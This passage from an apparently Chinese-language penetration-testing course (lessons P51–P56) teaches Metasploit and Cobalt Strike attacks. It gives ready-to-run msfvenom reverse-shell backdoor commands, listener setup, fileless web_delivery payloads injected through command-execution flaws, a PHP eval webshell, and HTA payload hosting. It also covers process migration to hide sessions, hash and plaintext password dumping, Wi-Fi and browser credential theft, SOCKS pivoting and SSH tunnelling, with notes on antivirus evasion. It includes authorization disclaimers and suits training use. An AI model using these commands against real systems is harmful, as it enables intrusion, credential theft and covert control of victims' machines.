  • 获取Shell: shell（进入目标系统的CMD）。

示例：文件上传与执行

# 将本地文件上传到目标C盘
upload /path/to/local/exp.exe C:\\
# 进入目标系统的Shell
shell
# 在Shell中执行上传的程序
C:\\exp.exe

总结 📝

本节课中我们一起学习了Metasploit渗透测试框架的基础知识。我们从框架的简介和目录结构开始，了解了其核心模块的组成。随后，我们学习了如何启动MSFconsole并进行基本的信息收集操作。最后，通过一个完整的MS17-010漏洞攻击实例，我们实践了从漏洞扫描、利用到获取Meterpreter会话，并进行简单后渗透操作的完整流程。

记住，Metasploit功能极其丰富，本节课仅触及冰山一角。要熟练掌握，必须勤加练习，在实际操作中遇到问题并解决，才能真正提升技能。课后请务必在实验环境中复现整个流程，并尝试探索Meterpreter的更多功能。

🛡️ 课程P51：第15天 - Metasploit攻击Windows与Linux实战教程

在本节课中，我们将学习如何使用Metasploit框架对Windows和Linux系统进行实战攻击。课程将涵盖生成后门、建立监听、利用漏洞获取Shell以及后渗透阶段的基本操作。我们将通过具体实例，演示从发现漏洞到最终控制目标系统的完整流程。

📦 概述：Metasploit攻击的基本思路

Metasploit是一个功能强大的渗透测试框架，支持全平台攻击。其核心攻击思路通常包含以下几个步骤：首先，寻找目标系统的漏洞点；其次，利用msfvenom生成针对性的后门程序（木马）；然后，将后门程序上传到靶机并诱使其执行；最后，在攻击机上开启监听，等待靶机连接，从而获得一个meterpreter会话，实现对目标系统的控制。

🛠️ 生成后门：使用msfvenom

msfvenom是msfpayload和msfencode的组合工具，用于生成攻击载荷（Payload）并进行编码加密，以绕过杀毒软件或IDS/IPS的检测。它本质上是一个生成远控木马的软件。

以下是msfvenom的一些基本参数：

  • -p: 指定攻击载荷（Payload）。
  • -l: 列出可用的编码器（Encoder）或载荷。
  • -e: 指定编码或加密方式。
  • -f: 指定输出文件的格式。
  • -a: 指定系统架构（如x86, x64, mips）。
  • --platform: 指定目标操作系统平台（如windows, linux, osx）。
  • -i: 设置编码次数。
  • -x: 指定一个可执行文件作为模板，用于伪装木马。

注意：编码次数多并不绝对代表能更好地绕过杀软。现代杀毒软件主要依靠特征码识别，单纯增加编码次数效果有限，常需要结合其他免杀技术。

生成不同平台后门的示例

以下是针对不同平台生成反向TCP连接后门的命令示例：

1. 生成Linux反向TCP后门

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f elf -o shell.elf
  • -p linux/x86/meterpreter/reverse_tcp: 指定为Linux x86架构的Meterpreter反向TCP载荷。
  • LHOST和LPORT: 指定攻击机的IP和监听端口。
  • -f elf: 输出格式为Linux可执行文件。
  • -o shell.elf: 输出文件名为shell.elf。

2. 生成Windows反向TCP后门

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=5555 -f exe -o hello.exe

3. 生成macOS反向TCP后门

msfvenom -p osx/x86/shell_reverse_tcp LHOST=192.168.1.100 LPORT=6666 -f macho -o shell.macho

📡 开启监听与接收会话

生成木马后，需要在攻击机上开启监听，等待靶机执行木马后连接回来。

上一节我们介绍了如何生成后门木马，本节中我们来看看如何在Metasploit中配置监听器来接收反弹的Shell。

  1. 启动Metasploit控制台：msfconsole
  2. 使用exploit/multi/handler模块作为载荷处理器。
  3. 设置与生成木马时完全一致的Payload、LHOST和LPORT。
  4. 执行监听。

具体操作如下：

use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.123.128
set LPORT 5555
run
# 或者使用 exploit -j 将监听任务放入后台

执行run后，模块会在指定端口开始监听。当靶机上的木马被执行时，攻击机便会收到一个meterpreter会话。

🌐 利用Web Delivery进行无文件攻击

当通过Web漏洞（如命令执行）获得了部分命令执行权限，但尚未获得完整Shell时，可以使用web_delivery模块。该模块能快速与受害者主机建立会话，且其代码在内存中执行，不写入磁盘，有利于绕过检测。

它支持PHP、Python、PowerShell等多种脚本。

以下是利用web_delivery通过Python获取Meterpreter会话的示例：

use exploit/multi/script/web_delivery
set TARGET 0 # 设置目标为Python
set PAYLOAD python/meterpreter/reverse_tcp
set LHOST 192.168.1.100
set LPORT 5666
run

执行后会生成一段Python代码。将这段代码复制到存在命令执行漏洞的Web页面中执行，攻击机即可收到meterpreter会话。

注意：使用PowerShell时容易被杀毒软件拦截，通常需要配合混淆技术。

🔄 分段与非分段Payload的区别

在Metasploit中，Payload分为分段（Staged）和非分段（Stageless）两种，理解其区别对实战很重要。

  • 非分段Payload (如 windows/meterpreter_reverse_tcp)：
    • 是一个完整的二进制文件，包含了Meterpreter的所有必要部分。
    • 优点：功能完整，连接稳定。
    • 缺点：体积较大，容易被查杀。
    • 类似于WebShell中的“大马”。

  • 分段Payload (如 windows/meterpreter/reverse_tcp)：
    • 分为多个阶段。第一阶段（Stager）仅负责建立网络连接，然后下载并执行第二阶段（Stage）的完整Meterpreter代码。
    • 优点：初始文件体积小，隐蔽性稍好。
    • 缺点：连接稳定性依赖于网络，且需额外传输数据。
    • 类似于WebShell中的“小马”，需要管理工具配合。

选择哪种取决于目标环境，如上传文件大小限制、网络稳定性等。

🎯 实战攻击Windows实例

本节我们将通过一个模拟的DVWA靶场，演示利用命令执行漏洞获取Meterpreter会话的完整过程。

方法一：通过命令执行漏洞结合Web Delivery

  1. 信息收集：使用Nmap扫描目标，发现开放80端口（Web服务）和445端口等。
    nmap -sV -T4 目标IP
  2. 漏洞发现与利用：访问目标Web站点（如DVWA），找到命令执行漏洞模块。在输入框尝试命令拼接，确认存在命令执行漏洞，例如输入 127.0.0.1 & whoami。
  3. 使用Web Delivery：按照上一节所述，配置web_delivery模块（选择Python Target），生成攻击代码。
  4. 执行攻击：将生成的Python代码通过Web命令执行漏洞提交。例如，在DVWA的命令执行框内输入：127.0.0.1 & [生成的python代码]。
  5. 获取会话：提交后，在Metasploit中成功收到meterpreter会话。

方法二：通过文件上传漏洞获取WebShell

  1. 发现上传点：通过目录扫描或其他方式，发现网站存在文件上传功能，或者存在允许写入文件的漏洞（如ThinkPHP 5.x远程命令执行漏洞）。
  2. 上传WebShell：利用漏洞上传一个一句话木马文件（如shell.php，内容为<?php @eval($_POST[‘cmd’]);?>）。
  3. 连接WebShell：使用中国菜刀、蚁剑等WebShell管理工具连接上传的木马文件。
  4. 上传并执行Metasploit木马：通过WebShell的上传功能，将之前用msfvenom生成的Windows后门程序（如hello.exe）上传到靶机可写可执行目录（如C:\或/tmp）。
  5. 通过WebShell执行木马：在WebShell的虚拟终端中，执行命令 start hello.exe 或直接 hello.exe。
  6. 接收Meterpreter：在攻击机的multi/handler监听器中，成功接收到来自靶机的meterpreter会话。

🕵️ 后渗透技巧：进程迁移与持久化

成功获得Meterpreter会话后，为了维持访问并避免被管理员发现，需要进行一些后渗透操作。

进程迁移

刚获得的Meterpreter会话通常关联着一个独立的进程（如hello.exe），容易被任务管理器发现并结束。我们需要将其迁移到系统正常进程（如svchost.exe, php-cgi.exe, httpd.exe）中。

操作步骤如下：

  1. 获取当前进程ID：getpid
  2. 查看系统进程列表：ps
  3. 选择一个稳定且具有合适权限的进程进行迁移（高权限可迁移至低权限进程）：migrate <目标进程PID>
    例如，迁移到Apache进程：
getpid # 假设当前PID为4512
ps # 查找httpd或php相关进程，假设PID为3996
migrate 3996
getpid # 再次确认，PID应已变为3996

迁移后，即使原木马文件进程被结束，Meterpreter会话仍会依附在新的宿主进程中继续运行。

持久化（本节简要提及）

为了在系统重启后仍能保持访问，可以考虑进行持久化操作，例如将后门写入注册表启动项、计划任务等。但请注意，这些操作同样可能被安全软件检测。Metasploit提供了persistence模块，但使用时需谨慎。

📝 总结

本节课我们一起学习了使用Metasploit框架进行实战攻击的核心流程：

  1. 使用msfvenom生成针对不同平台和需求的攻击载荷。
  2. 利用exploit/multi/handler模块开启监听，接收反弹的Shell。
  3. 掌握了通过web_delivery进行无文件攻击的技巧。
  4. 理解了分段与非分段Payload的区别与应用场景。
  5. 通过DVWA靶场实例，演练了利用Web漏洞（命令执行、文件上传）获取Meterpreter会话的完整过程。
  6. 学习了后渗透阶段关键的进程迁移技术，以增强会话的隐蔽性和稳定性。

整个流程是渗透测试的基础，后续更复杂的免杀、内网穿透、横向移动等技术都是在此框架上的延伸和深化。请务必在授权环境下多加练习，熟悉每个环节。

课程P52：第16天：CobaltStrike渗透基础 🛠️

在本节课中，我们将要学习CobaltStrike（简称CS）这一强大的渗透测试框架。我们将从CS的简介和基本概念开始，逐步学习其安装、配置、核心功能，并通过实战演示让靶机上线，掌握其基本工作流程。

什么是CobaltStrike？ 🤔

CobaltStrike（简称CS）是一款团队作战渗透测试神器。它分为客户端及服务端，服务端可以对应多个客户端，而一个客户端又可以连接多个服务端。CS集成了渗透测试中经常使用的功能，包括端口转发、扫描、多模式端口监听、生成各类可执行程序（如Windows可执行程序、动态链接库、Java应用程序、Office宏代码）等。同时，它也能帮助我们克隆浏览器相关信息、克隆钓鱼网站等。

CobaltStrike经常与Metasploit进行联动，因为两者都是优秀的渗透测试框架，联动使用能大幅提升渗透测试效率。CS与MSF在历史上有关联：MSF是一款开源框架，其图形化界面Armitage可以看作是CS的早期版本。CS是Armitage的增强版，并且是商业收费软件。CS 2.x版本还依托于MSF框架的Armitage，但从3.x版本开始，CS已成为独立的平台。本教程以CS 4.x版本为准。

环境安装与配置 ⚙️

上一节我们介绍了CS的基本概念，本节中我们来看看如何安装和配置CS的运行环境。

CS的服务端只能运行在Linux操作系统上，并且需要安装Java环境。如果使用Kali Linux，Java环境通常已预装。如果是自己购买的VPS服务器，可能需要手动安装Java。

以下是安装Java环境的基本命令（以CentOS为例）：

yum install -y java-8*

安装好Java后，需要将整个CobaltStrike文件夹上传到公网服务器上，并给服务端程序teamserver设置可执行权限。

以下是设置权限和查看脚本内容的命令：

chmod +x teamserver
cat teamserver

teamserver是一个bash脚本，我们可以修改其默认监听端口（默认为50050）。启动服务端的命令格式为：

./teamserver <服务器公网IP> <连接密码>

客户端程序则可以在本地运行。在CS 4.x文件夹中，有适用于Windows的.bat文件和适用于Linux的.sh脚本。运行客户端后，输入服务器IP、端口（默认50050）、任意用户名和在服务端设置的密码即可连接。

CobaltStrike核心界面与功能 🖥️

成功连接服务端后，我们就进入了CS的客户端界面。本节我们来熟悉其核心界面和常用功能。

CS的快捷工具栏分为几大类，以下是其主要功能简介：

  • 连接/断开服务器：对应图标1和2。
  • 监听器管理：图标3，用于查看和创建监听器（Listener），这是所有操作的基础。
  • 视图切换：图标4-6，分别对应服务器节点视图、会话列表视图和目标列表视图。
  • 信息查看：图标7-10，用于查看已获得的凭据、下载的文件、键盘记录和屏幕截图。
  • 攻击模块：图标11-18，用于生成各类Payload、进行Web投递、管理Web服务等。

注意：所有操作都始于创建监听器。没有监听器，我们无法接收靶机的回连。

在团队协作时，可以通过界面中的聊天窗口进行通信，也可以使用/msg命令私聊。

实战：创建监听器与生成攻击载荷 🎯

了解了核心功能后，本节我们开始实战操作，学习如何创建监听器并生成攻击载荷。

首先，我们需要创建一个监听器。点击 Cobalt Strike -> Listeners，然后点击 Add。

  • Name： 输入任意名称，例如 demo1。
  • Payload： 选择 windows/beacon_http/reverse_http（这是一个常用的HTTP反向连接Payload）。
  • Payload Options：
    • HTTP Host (Stager)： 设置为你的公网服务器IP地址。这是用于传输初始Stager的地址。
    • HTTP Port： 设置监听端口，例如 8080（避免使用80等常用端口）。
      设置完成后点击 Save，监听器就创建并启动了。你可以在服务器上使用 netstat -tulnp 命令验证8080端口是否在监听。

接下来，我们需要生成一个能让靶机执行并连接上来的攻击载荷。点击 Attacks -> Packages -> HTML Application。

  • 选择刚才创建的监听器（如 demo1）。
  • 选择执行方法，例如 PowerShell。
  • 选择一个路径保存生成的 .hta 文件。

为了让靶机能下载到这个 .hta 文件，我们需要在服务器上托管它。点击 Attacks -> Web Drive-by -> Host File。

  • 选择刚才生成的 .hta 文件。
  • Local Port： 设置一个端口用于提供下载，例如 9090。
    点击 Launch，CS会生成一个URL，例如 http://你的服务器IP:9090/xxx.hta。这个URL就是提供给靶机访问的链接。

实战：让靶机上线与基本交互 🖱️

攻击载荷和下载服务都已就绪，本节我们来看看如何让靶机执行载荷并与之进行交互。

在靶机（例如一台Windows虚拟机）上，访问我们上一步生成的URL（http://服务器IP:9090/xxx.hta）。执行后，稍等片刻，在CS客户端的 Sessions 视图下，就能看到一个新的会话上线，这代表靶机已被成功控制。

右键点击上线的靶机，选择 Interact，即可打开交互式命令行界面。在这个界面中，我们可以输入各种Beacon命令来控制靶机。

以下是一些常用命令示例：

  • shell whoami： 执行系统命令，查看当前用户。
  • sleep 2： 将心跳间隔设置为2秒（默认60秒，设置更短可以加快响应，但可能增加被检测的风险）。
  • help： 查看所有可用的Beacon命令。

除了命令行，还可以通过右键菜单进行更多操作，例如：

  • Access -> Dump Hashes： 尝试提取密码哈希。
  • Explore -> Process List： 查看靶机进程列表。
  • Explore -> Screenshot： 对靶机进行屏幕截图。截图后可以在 View -> Screenshots 中查看。
  • Explore -> Port Scan： 对靶机所在内网进行端口扫描。

攻击流程总结与拓展 🧭

在本节课的最后，我们一起总结一下使用CobaltStrike进行渗透测试的基本流程，并了解一些拓展知识。

CS的攻击流程与Metasploit类似，可以概括为以下几步：

  1. 创建监听器（Listener）： 在CS服务端开启一个端口，等待靶机连接。
  2. 生成并投递攻击载荷（Payload）： 根据目标环境，选择 HTML Application、Scripted Web Delivery、Office Macro 等方式生成载荷，并通过漏洞利用、社会工程学等方法让靶机执行。
  3. 靶机上线： 靶机执行载荷后，会主动连接我们的监听器，在CS中建立会话（Session）。
  4. 后渗透操作： 进行信息收集、权限提升、横向移动、持久化控制等操作。

CS支持通过 .cna 脚本进行功能扩展。你可以从GitHub等平台下载丰富的第三方脚本，通过 Cobalt Strike -> Script Manager 加载，以增加扫描、漏洞利用、后渗透模块等功能。

重要提醒： CobaltStrike是专业的渗透测试工具，仅限在合法授权和安全的学习环境中使用。未经授权对他人系统进行测试或攻击是违法行为。

本节课中我们一起学习了CobaltStrike的基本介绍、环境搭建、核心功能、以及通过生成HTA载荷让靶机上线的完整流程。掌握这个基础框架，将为后续学习更复杂的渗透测试技术打下坚实的基础。

课程P53：第17天：Cobalt Strike联动Metasploit 🚀

在本节课中，我们将学习如何将Cobalt Strike与Metasploit这两个强大的渗透测试工具进行联动，以实现更高效的内网渗透和信息收集。课程将涵盖从靶机上线、权限提升到通过代理和端口转发实现工具间协作的完整流程。

概述

Cobalt Strike更适合作为团队协作和内网管控平台，而Metasploit则拥有丰富的模块用于信息收集和漏洞利用。联动两者可以发挥各自优势。本节课的核心是学习如何配置环境，使Cobalt Strike上线的会话能够转发给内网的Metasploit，并利用SSH隧道解决网络连通性问题。

第一部分：靶机上线与权限提升

上一节我们介绍了课程的整体目标，本节中我们来看看如何让靶机上线到Cobalt Strike并提升权限。

靶机上线通常通过执行命令或上传Webshell实现。只要命令成功执行且具备相应权限，靶机就能上线。需要注意的是，如果Cobalt Strike服务器在内网，必须确保靶机能够连接到Cobalt Strike服务器。

当靶机上线后，我们获得的是一个普通用户权限的shell。

以下是查看当前用户权限的命令：

shell whoami

执行该命令后，可以看到当前用户是普通用户。

接下来进行权限提升。在Cobalt Strike的Access模块中，选择相应的提权脚本（例如MS16-135）。选择后，工具会自动执行攻击脚本。

如果提权成功，会看到第二个会话上线，用户变为SYSTEM。此时，我们便获得了该主机的最高权限。

获得最高权限后，可以执行更多操作，例如转储哈希或从内存中读取明文密码。

以下是相关操作命令：

  • 转储哈希：在会话交互中使用 hashdump 命令。
  • 读取明文密码：使用 logonpasswords 命令。

第二部分：开启SOCKS代理进行内网探测

在获得内网主机控制权后，我们常常需要探测其所在内网的其他资产。由于攻击机可能无法直接访问目标内网，因此需要建立代理。

Cobalt Strike可以方便地开启SOCKS代理。在拥有SYSTEM权限的会话中，执行以下命令：

socks 1234

此命令会在Cobalt Strike服务器上开启一个端口为1234的SOCKS4a代理服务。

接下来，我们需要在攻击机（如Kali）上配置代理以使用这个通道。可以使用proxychains工具。

以下是配置和使用proxychains的步骤：

  1. 编辑配置文件：vi /etc/proxychains.conf
  2. 在文件末尾添加：socks4 <Cobalt Strike服务器IP> 1234
  3. 在需要代理的命令前加上 proxychains，例如：
    proxychains nmap -sT -Pn 192.168.2.135

需要注意的是，SOCKS代理工作在TCP/IP协议的应用层，因此无法代理ICMP协议（如ping命令）。使用nmap扫描时应使用-sT（TCP连接扫描）并禁用ping扫描（-Pn）。

通过代理进行扫描和连接速度会较慢，因为流量需要经过多层转发。

第三部分：将Cobalt Strike会话转发给Metasploit

上一节我们介绍了通过代理访问内网的方法，本节中我们来看看如何将Cobalt Strike上线的会话直接交给功能更丰富的Metasploit来处理。

首先，在Cobalt Strike中创建一个新的监听器（Listener）。

  1. 点击 Listeners -> Add。
  2. 设置 Name（例如 msf_listener）。
  3. 选择 Payload 为 windows/foreign/reverse_http。
  4. 设置 HTTP Host 为Cobalt Strike服务器的公网IP。
  5. 设置 HTTP Port 为一个特定端口（例如7777）。

接着，在内网的Metasploit中配置接收端。

  1. 启动msfconsole。
  2. 使用处理器模块：use exploit/multi/handler
  3. 设置与Cobalt Strike监听器匹配的Payload：
    set payload windows/meterpreter/reverse_http
  4. 设置监听地址和端口（指向内网Kali本机的IP和上面定义的端口）：
    set LHOST 192.168.123.128
set LPORT 7777
  5. 运行监听：run

现在，Cobalt Strike服务器（公网）上的7777端口与内网Metasploit的7777端口尚未连通。由于公网无法直接访问内网，我们需要使用SSH隧道进行端口转发。

在内网Kali中执行以下SSH隧道命令：

ssh -C -f -N -g -L 0.0.0.0:7777:127.0.0.1:7777 root@39.108.68.207 -p 22

此命令将本地（Kali）的7777端口流量，通过SSH隧道转发到公网服务器（39.108.68.207）的7777端口。执行后需要输入公网服务器的root密码。

隧道建立后，端口即实现连通。最后，在Cobalt Strike中，右键点击要转发的会话（如SYSTEM权限的会话），选择 Spawn，然后选择刚刚创建的 msf_listener。

稍作等待，在Metasploit中即可收到反弹回来的Meterpreter会话。至此，我们成功将Cobalt Strike的会话移交给了Metasploit，可以利用后者更强大的模块进行后续渗透。

总结

本节课中我们一起学习了Cobalt Strike与Metasploit的联动技术。主要内容包括：

  1. 让靶机上线Cobalt Strike并进行权限提升。
  2. 通过开启SOCKS代理，利用proxychains工具进行内网探测。
  3. 核心部分：通过创建外部监听器（Foreign Listener）和配置SSH隧道，解决网络隔离问题，成功将Cobalt Strike的会话转发给内网的Metasploit。

这些技术在实际的内网渗透测试中非常实用，能够有效结合两款工具的优势。请务必亲自动手搭建环境进行实验，以加深理解。

课程P54：第18天：Windows基础信息收集、本机进程信息 🖥️🔍

在本节课中，我们将要学习Windows主机的基础信息收集方法。这是进行内网渗透测试的第一步，也是至关重要的一步。我们将从内网环境分析开始，逐步深入到工作组和域环境的信息收集，最后学习如何探测内网中的存活主机。

内网环境分析 🗺️

上一节我们概述了课程内容，本节中我们来看看什么是内网渗透以及如何进行内网环境分析。

内网渗透是指攻击者通过外网的突破口（例如Web漏洞）进入目标内部网络后，进一步搜集内部网络信息、获取权限和敏感数据的过程。其第一步就是内网信息收集。

内网环境分析主要涉及以下几个核心方面：

基础环境判断

以下是进行基础环境判断时需要收集的关键信息：

  • IP地址与网段：获取当前主机的IP地址、子网掩码、默认网关和DNS服务器地址，以了解网络拓扑结构。
  • 外网连通性：判断当前主机能否访问互联网。这关系到攻击者能否建立反向Shell连接。
  • 网络连接与端口：分析当前主机开放了哪些端口和服务，以及有哪些外部连接，以发现潜在的攻击面。
  • 本地Hosts文件：检查 C:\Windows\System32\drivers\etc\hosts 文件，其中可能包含域名与IP的本地映射关系，可能指向内部重要资产。
  • 代理设置：检查系统是否配置了代理服务器，代理服务器本身可能成为新的跳板。
  • 域成员身份：判断主机是否加入了域（Domain），并获取域名信息。这决定了后续信息收集的方向（工作组或域）。

机器所处区域分析

分析目标主机在网络中所处的逻辑区域，有助于评估其价值。常见的区域概念包括：

  • DMZ区（隔离区）：放置对外提供服务的服务器（如Web服务器），通常位于防火墙之间，可能同时被内外网访问。
  • 办公区：员工日常办公使用的计算机区域。
  • 生产区/核心区：存放核心业务、数据库等重要服务器和数据的区域，价值最高。

机器角色分析

判断目标主机在网络中扮演的角色，可以推测其上可能存放的数据类型。常见的角色有：

  • Web服务器
  • 开发/测试服务器
  • 文件服务器
  • 代理服务器
  • DNS服务器
  • 数据库服务器

进出口流量分析

重点分析主机能否出网（访问外网）以及通过哪些协议出网，这关系到后续渗透手段的选择（如反弹Shell）。

以下是测试常见协议出网能力的方法：

  • TCP协议：使用 nc（Netcat）尝试连接外网IP的指定端口。
    nc -zv <外网IP> <端口号>
  • HTTP/HTTPS协议：使用 curl 或浏览器访问外网网址，或在VPS上监听80/443端口。
  • ICMP协议：使用 ping 命令测试，并在VPS上用 tcpdump 抓包验证。
    # 在目标机执行
ping <外网IP>
# 在VPS执行
tcpdump icmp
  • DNS协议：使用 nslookup 或 dig 查询外网域名，或在VPS上监听53端口。
    nslookup <外网域名>

工作组信息收集 👥

上一节我们介绍了如何分析内网环境，本节中我们来看看在相对简单的“工作组”模式下如何进行信息收集。

工作组（Workgroup）是一种简单的对等网络资源管理模式，默认工作组名为 WORKGROUP。它适合计算机数量不多、管理要求不严格的小型网络。

内网网段信息收集

发现更多内网网段是为“纵向渗透”（渗透不同网段）做准备。横向渗透指在同一网段内横向移动。

以下是发现新网段的一些思路：

  • 扫描内网网段：使用工具扫描已知网段，发现存活主机和可能的新网段。
  • 检查历史记录：
    • 文件共享、FTP连接记录。
    • 浏览器访问历史、收藏夹。
    • 远程桌面（mstsc）连接记录。
  • 检查网络设备：如果可能，查看路由器、交换机的配置信息，其中可能包含多个网段的路由信息。

用户信息收集

了解系统用户信息是权限提升和横向移动的基础。

以下是收集用户信息的常用命令：

  • 查看所有用户：net user
  • 查看指定用户详细信息：net user <用户名>
  • 查看当前登录用户：whoami
  • 查看本地组：net localgroup
  • 查看管理员组用户：net localgroup administrators

进程与服务信息收集

分析运行的进程和服务，可以发现安全软件、脆弱服务或高权限进程。

以下是相关命令：

  • 查看进程列表：tasklist
  • 查看系统服务：net start
  • 查看服务详细信息：sc query
  • 查看计划任务：schtasks /query /fo LIST /v

网络信息收集

全面收集网络配置和连接状态。

以下是相关命令：

  • 查看IP配置：ipconfig /all
  • 查看路由表：route print
  • 查看ARP缓存：arp -a
  • 查看活动网络连接：netstat -ano

密码和凭据收集

寻找系统中保存的各类密码和凭据。

  • 查找敏感文件：搜索包含“password”、“config”、“unattend.xml”等关键词的文件。
  • 读取保存的凭据：使用 cmdkey /list 查看Windows保存的凭据，尝试用 runas 重用。
  • 提取浏览器密码：使用相关工具（如LaZagne）提取浏览器保存的密码。

域内主机信息收集（如果加入域）

如果主机已加入域，则需要额外收集域相关信息。

  • 查询域名：net config workstation
  • 查询域内计算机：net view /domain
  • 查询域用户：net user /domain
  • 查询域管理员：net group “domain admins” /domain

域内信息收集 🏰

上一节我们学习了工作组环境的信息收集，本节中我们聚焦于更复杂、更常见的“域”环境。

域（Domain）是一种集中式的网络资源管理模式，通过一台或多台“域控制器”（Domain Controller）来统一管理域内的所有计算机和用户账户。它适合中大型企业网络，便于进行批量策略部署和集中身份认证。

域环境基础信息收集

首先需要获取域的基础架构信息。

以下是核心命令：

  • 获取当前计算机名和域名：
    net config workstation
  • 查询域控制器：
    nltest /dclist:<域名>
# 或
nslookup -type=SRV _ldap._tcp.<域名>
  • 查询域内所有计算机：
    net view /domain:<域名>
  • 查询域内所有用户组：
    net group /domain
  • 查询域管理员：
    net group “domain admins” /domain

利用CS等工具进行自动化收集

在渗透测试中，常使用Cobalt Strike（CS）、Empire等框架进行自动化、更隐蔽的信息收集。

  • 在CS的Beacon中，可以使用 net view、net computers、net dclist 等命令。
  • 使用 powerview.ps1 等PowerShell脚本可以获取更详细的域拓扑、用户关系（如谁是谁的经理）、ACL（访问控制列表）等信息。

内网存活探测 🎯

在收集了基础信息并确定了目标网段后，下一步就是探测这些网段内存活的主机，为后续的漏洞扫描和攻击做准备。

使用ICMP协议探测（Ping扫描）

最简单直接的存活探测方式。

  • Windows命令：
    for /l %i in (1,1,254) do @ping -n 1 -w 50 192.168.1.%i | findstr “TTL=”
  • 使用工具：fping, nmap (nmap -sn 192.168.1.0/24)

使用ARP协议探测

在内网中，ARP探测比ICMP更可靠，因为设备可能禁用了ICMP回应。

  • 使用工具：arp-scan, nmap (nmap -PR 192.168.1.0/24)

使用TCP/UDP端口扫描

通过扫描常见端口（如135, 139, 445, 3389）来发现存活主机及其开放服务。

  • 使用工具：nmap 是首选。
    nmap -sS -p 135,139,445,3389 192.168.1.0/24

注意事项

  • 隐蔽性：在内网探测时需注意流量特征，避免触发安全设备的告警。可以降低扫描速度、使用随机IP顺序、选择非标准端口进行探测。
  • 利用已有跳板：所有扫描操作都应通过已控制的跳板机进行，以隐藏真实攻击源。

本节课中我们一起学习了Windows内网渗透测试中信息收集的完整流程。我们从理解内网渗透的概念开始，学习了如何分析内网环境、区分工作组与域，并掌握了在这两种环境下收集用户、网络、进程、密码等关键信息的各种命令和方法。最后，我们还探讨了如何探测内网存活主机。信息收集是渗透测试的基石，全面、细致的信息收集能为后续的攻击阶段提供清晰的地图和突破口。请务必熟练掌握这些基础命令和思路。

🛡️ 网络安全就业推荐 - P55：第19天：内网环境分析及工作组信息收集

在本节课中，我们将学习内网渗透测试中的核心环节：内网环境分析与工作组信息收集。我们将从横向与纵向渗透的概念入手，逐步讲解如何利用已获取权限的机器（跳板机）进行内网信息收集，并介绍一系列在Windows环境下常用的信息收集命令和技巧。

🔍 横向与纵向渗透概念

上一节我们介绍了内网渗透的基本概念，本节中我们来看看横向与纵向渗透的具体含义。

横向渗透是指通过已控制的跳板机，访问并渗透该机器能够直接或间接访问到的其他内网主机。其范围不局限于同一C段，而是跳板机网络可达的所有机器。

纵向渗透则是在横向渗透的基础上，通过新控制的内网主机，去访问和渗透原先跳板机无法直接访问的其他网络区域或机器。这通常意味着网络层次的深入。

核心思路：渗透思路不应局限于单一网段。路由器、交换机等网络设备可能连接着不同的网段，其配置信息是重要的突破口。

👤 用户信息收集

在获取目标系统权限后，首要任务是收集用户信息，以了解系统权限结构和潜在的攻击路径。

以下是常用的用户信息收集命令：

  • net user：查看本地计算机上的用户账户列表。
  • net localgroup administrators：查看本地管理员组中的成员，即拥有管理员权限的用户。
  • query user 或 qwinsta：查看当前在线登录的用户会话。
  • whoami：查看当前命令执行上下文所使用的用户名。
  • whoami /priv：查看当前用户在目标系统中的具体权限。

通过以上命令，可以清晰地勾勒出目标主机的用户权限图谱。

💻 系统信息收集

了解目标系统的详细配置，是寻找漏洞和规划后续攻击步骤的基础。

以下是系统信息收集的关键命令：

  • ipconfig /all：获取详细的网络配置信息，包括IP地址、DNS服务器（常指向域控制器）、主机名、DNS后缀（可判断是否加入域）等。
    ipconfig /all
  • systeminfo | findstr /B /C:"OS Name" /C:"OS Version"：查找操作系统名称和版本。
  • wmic os get Caption,Version,OSArchitecture：通过WMI查询系统版本和架构。
    wmic os get Caption,Version,OSArchitecture
  • wmic service list brief：列出系统服务及其状态。
  • wmic product get name,version：查看已安装的软件及版本。
  • tasklist：查看系统当前运行的进程列表。
  • wmic startup get caption,command：查看启动程序信息。
  • schtasks /query /fo LIST /v：查看计划任务（新版系统）。对于旧系统（如Server 2003），可使用 at 命令。若执行报错，可尝试先执行 chcp 437 更改控制台编码。
  • netstat -ano：查看网络连接、监听端口及对应进程PID。
    netstat -ano | findstr :445
  • systeminfo：查看系统摘要，包括已安装的补丁列表。
  • wmic /namespace:\\root\securitycenter2 path antivirusproduct get displayname：检查安装了哪些杀毒软件。
  • type C:\Windows\System32\drivers\etc\hosts：查看hosts文件内容。

收集这些信息有助于识别未打补丁的系统漏洞、存在漏洞的服务或软件，以及安全防护措施（如杀软）。

📁 共享、网络与其他信息收集

内网中，共享资源、网络代理配置等都可能成为横向移动的跳板。

以下是相关信息的收集方法：

  • net share：查看本机共享列表。
  • net use：查看当前的网络连接和映射的驱动器。
    • 磁盘映射示例：若已知目标机\\192.168.1.10的账号密码，可将其C盘映射到本地Z盘。
      net use Z: \\192.168.1.10\C$ /user:username password
  • 代理信息：检查系统是否配置了代理。
    reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v ProxyServer
  • netsh wlan show profile name="WiFi名称" key=clear：查看已连接Wi-Fi的明文密码。
  • 回收站内容获取：通过脚本遍历用户SID，查找回收站目录（$Recycle.Bin），恢复被删除的文件信息。文件$I*存储原路径，$R*存储文件内容。
  • 浏览器记录：可尝试读取Chrome等浏览器的历史记录和Cookie文件（路径如%LocalAppData%\Google\Chrome\User Data\Default\History），但需注意加密和权限。可使用Mimikatz等工具的dpapi模块解密。

⚙️ 自动化信息收集工具

手动执行命令效率较低，可以利用脚本或框架进行批量自动化收集。

  • PowerShell脚本：例如 Get-Information.ps1 等脚本，可一键收集大量系统信息。
  • Metasploit (MSF) 后渗透模块：
    • run post/windows/gather/enum_logged_on_users
    • run post/windows/gather/checkvm
    • run scraper / run winenum：这两个模块能自动运行多个命令，综合收集信息。

🏁 总结

本节课中我们一起学习了内网渗透中工作组环境下的信息收集。我们从横向与纵向渗透的概念出发，详细讲解了如何利用已控主机，通过一系列Windows命令收集用户、系统、网络、共享、安全策略等多维度信息。掌握这些基础命令和收集思路，是进行有效内网横向移动和深度渗透的前提。课后请务必在实验环境中多加练习，熟悉每条命令的输出和含义。

注意：本教程所有内容仅用于合法授权的安全测试与学习研究。未经授权对任何系统进行渗透测试均属违法行为。

网络安全就业推荐 - P56：第20天：Windows哈希简介及系统用户密码凭证获取教程 🛡️💻

课程概述

